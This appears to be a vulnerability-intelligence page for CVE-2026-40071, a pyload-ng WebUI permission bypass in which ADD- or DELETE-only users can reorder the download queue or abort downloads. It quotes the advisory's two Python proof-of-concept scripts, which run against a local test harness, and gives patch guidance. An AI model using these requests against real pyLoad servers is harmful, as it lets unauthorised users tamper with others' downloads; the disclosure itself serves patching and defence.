KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 01:43 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-40071

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

Confirmed mismatches: - `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order` - `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link` But WebUI JSON routes use weaker checks: - `/json/package_order` uses `@login_required("ADD")` then calls `api.

At a glance

Exploited
Not known
Severity
5.4 Medium (CVSS 3.1)
Chance of exploitation
0.2% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: pyload-ng: 0.5.0b3.dev97. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-rfgh-63mg-8pwm (opens a new tab)

What happened

### Summary Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.

Confirmed mismatches: - `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order` - `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`

### Details pyLoad defines granular permissions in core API: - `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`) - `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`) - `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)

But WebUI JSON routes use weaker checks: - `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`) - `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`) - `/json/abort_link` uses `@login_required("DELETE")` then calls `api.

Continue reading

stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)

Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with `MODIFY`: - `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`) - `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`) - The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.

### PoC Environment: - Repository version: `0.5.0b3` (`VERSION` file) - Commit tested: `ddc53b3d7`

PoC A (ADD-only user invokes MODIFY-only reorder): ```python import os import sys from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint

class FakeApi: def __init__(self): self.calls = []

def user_exists(self, username): return username == 'attacker'

def order_package(self, pack_id, pos): self.calls.append(('order_package', int(pack_id), int(pos)))

def order_file(self, file_id, pos): self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.ADD} print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx)) print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp)

with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'attacker' s['role'] = int(Role.USER) s['perms'] = int(Perms.ADD)

r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0}) r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip()) print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip()) print('calls:', f.calls) ```

Observed output: ```text API auth (ADD-only) order_package: False API auth (ADD-only) order_file: False HTTP /json/package_order: 200 {"response":"success"} HTTP /json/link_order: 200 {"response":"success"} calls: [('order_package', 5, 0), ('order_file', 77, 1)] ```

PoC B (DELETE-only user invokes MODIFY-only stop_downloads): ```python import os import sys from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint

class FakeApi: def __init__(self): self.calls = []

def user_exists(self, username): return username == 'u'

def stop_downloads(self, ids): self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.DELETE} print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp)

with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'u' s['role'] = int(Role.USER) s['perms'] = int(Perms.DELETE)

r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip()) print('calls:', f.calls) ```

Observed output: ```text API auth (DELETE-only) stop_downloads: False HTTP /json/abort_link: 200 {"response":"success"} calls: [('stop_downloads', [999])] ```

### Impact Type: - Improper authorization / permission-bypass between WebUI and core API permission model.

Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.

Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`. - Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.

Affected package ranges reported by GitHub: pyload-ng: < 0.5.0b3.dev97

Scores and how they were measured

CVSS base severity

5.4

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.2%

Scored Percentile 12.2%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-rfgh-63mg-8pwm (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-rfgh-63mg-8pwm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-40071, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 26). pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions (CVE-2026-40071). https://kevwire.com/record/CVE-2026-40071

MLA

"pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions (CVE-2026-40071)." KEVWire, 26 Oct. 2026, kevwire.com/record/CVE-2026-40071.

Chicago

KEVWire. "pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions (CVE-2026-40071)." Last modified October 26, 2026. https://kevwire.com/record/CVE-2026-40071.

Evidence summary (plain text)

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions (Apr 8, 2026).
Confirmed mismatches:
- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`
- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`

But WebUI JSON routes use weaker checks:
- `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)
- `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)
- `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)
CVSS 5.4 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-rfgh-63mg-8pwm).
EPSS 0.2% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-40071&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-rfgh-63mg-8pwm: https://github.com/advisories/GHSA-rfgh-63mg-8pwm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-40071&date=2026-10-26
Record ID: CVE-2026-40071.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail